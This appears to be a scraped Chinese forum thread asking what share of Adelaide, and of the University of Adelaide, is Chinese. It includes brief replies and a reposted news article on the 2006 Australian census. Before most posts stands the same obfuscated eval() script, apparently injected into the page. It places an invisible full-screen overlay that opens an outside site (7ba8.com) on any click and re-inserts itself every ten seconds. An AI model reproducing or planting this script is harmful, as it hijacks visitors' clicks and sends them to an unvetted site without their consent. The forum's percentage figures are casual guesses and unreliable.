华人占阿德莱德多少

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我想知道阿德莱德华人占本地人百分之多少,阿德莱德大学里面呢?
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1/4?
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>commerce school 9/10
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>T.T...无解的。。。
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>商学院那就是捞钱的。。。
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>阿德这边,华人站本地区人口还不是太多。
不过现在还在不段增加。
7
 楼主| | 只看该作者
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>那化学工程专业的呢?
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>到这里大多学习会计的  没有什么学习化学工程的
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 据澳大利亚《星岛日报》报道,2006年8月8日,澳洲的华人有66.989万名,比5年前人口普查的结果增加11.3336万名。2001年人口普查,华人有55.6554万名。以上数字是由澳洲人填报祖籍一栏而计算出来。而以出生地计算,中国大陆出生的则由1996年的第七位约11.1万名,跳升至去年的第三位约20.66万名。

  澳洲联邦财政部长高德乐(PETER COSTELLO  

)与澳洲统计学家BRIAN PINK,6月27日上午在墨尔本的澳洲统计局资料中心(ABSDPC)公布在去年进行的人口普查的第一次报告。

  报告显示,2006年非本土出生的澳洲人口合共441.6万名,占全国总人口的22.2%,当中仍以来自英国和新西兰的占榜首,分别占总海外出生澳洲人口的19.4%和8.8%。而1996年以6.1%稳守第三位的意大利人,去年则下降至4.5%,并跌至第四位,取而代之的是20.6588万名中国大陆人,占4.7%,比10年前上升了1.9%。另来自中国香港的有7.1802万名(占海外出生人口总数1.6%,排第15位),中国台湾的有2.4371 万名。

  此外,去年来自越南和马来西亚的澳洲人口,亦分别占15.98万名(3.6%,第五位)和9.23万名(2.1%,第12位)。 PINK指出,除中国外,近10年第二个明显增加的海外出生澳洲人口为印度人,达14.71万名(占3.6%,排第六位,比10年前的7.76万名上升了 1.3%)。

  报告又提到,20多万名中国大陆出生的澳洲人口中,有7.17万名是于2001年至2006年期间抵澳,另于同期抵澳的中国香港人有1.34万名、马来西亚人2.32万名、印尼1.69万名、新加坡人1.37万名和越南1.29万名。

  至于最多非本土出生人口居住的省地为西澳,占总数的27.1%,其次是新省及维省,各占23.8%。若以主要城市计算,则以悉尼、珀斯和墨尔本为他们的定居热点,分别占31.7%、31.3%和28.9%。

  维省规划厅长马顿(JUSTIN MADDEN  

)指出,最新的人口普查报告反映出2005/2006年维省的人口增长达7.7万人,超出了1852年淘金时代所增长的7.1万人。

  而来自大陆、港、台的澳洲人口则主要聚居于新省(共16.0449万名)、维省(7.88万名)和昆省(3.2412万名)。当中以年龄介于20至29 岁,以及40至49岁占大多数,前者三省合共6.8397万名,后者三省合共5.822万名,另来自大陆港台的60岁或以上澳洲人口则有2.2215万名 (新省)、9239名(维省)和3484(昆省),其中新省和维省更分别有19名和10名百岁或以上的大陆香港人瑞。

  统计指出, 2006年全国总人口在家中所用的语言有近400种。与1996年相比,去年操普通话或印度语的人口增长急速,各超过两倍。而来自大陆港台的澳洲人口在家中以普通话沟通的有14.5425万名,广东话有12.1678万名,其它中文方言有1.0975万名,英语有1.7103万名。报告又指出,去年多了 21%澳洲人口在家中操广东话,它是过去10年来唯一一个在本国有使用增长率的语言,反观在家中操意大利语和希腊语则分别下降约16%和7%。

  高德乐指出,全国所有15岁或以上的劳动人口中,去年所录得的个人每周总收入的中位数为400元至599元,其中男性的入息中位数为600元至799元,女性为250元至399元。

  报告显示,无入息的大陆港台澳洲人口共有6.514万名,而达全国入息中位数水平或以上的有13.5023万名。撇除无入息的组别,在新、维两省,最大多数来自中国大陆人口(1.7742万名和9132名)的个人每周入息为150元至249元、最大多数来自中国香港人口(4062名和1898名)为 400元至599元、最大多数来自中国台湾人口(889名和527名)为1元至149元。

  报告指出,2006年全国人报称有超过250 个不同的祖籍,有28%总人口更表示自己拥有两个祖籍。最普遍的祖籍为澳洲,有740万人(37%),其次是英国(630万人,32%)、爱尔兰(180 万人,9.1%)以及苏格兰(150万人,7.6%)、意大利和德国。而报称祖籍属中国的有66.989万人(3.4%,排第七位),另印度23.47万人(1.2%,排第10位)、越南17.37万人(0.9%,第12位)和排第15位的菲律宾16.04万人(0.8%)。

  而报称中国祖籍的澳洲人口分布在全国各省地的人数如下:

  新省30.8476万人;维省19.0364万人;昆省7.1136万人;西澳5.5908万人;南澳2.5366万人;坎京1.0493万人;北领地4081人和塔斯省3966人。

来源: 中国新闻网
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>business master courses: 99%
business bachelor courses: 20-30%
IT: 50% Chinese, 50% indian
Nurse...
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部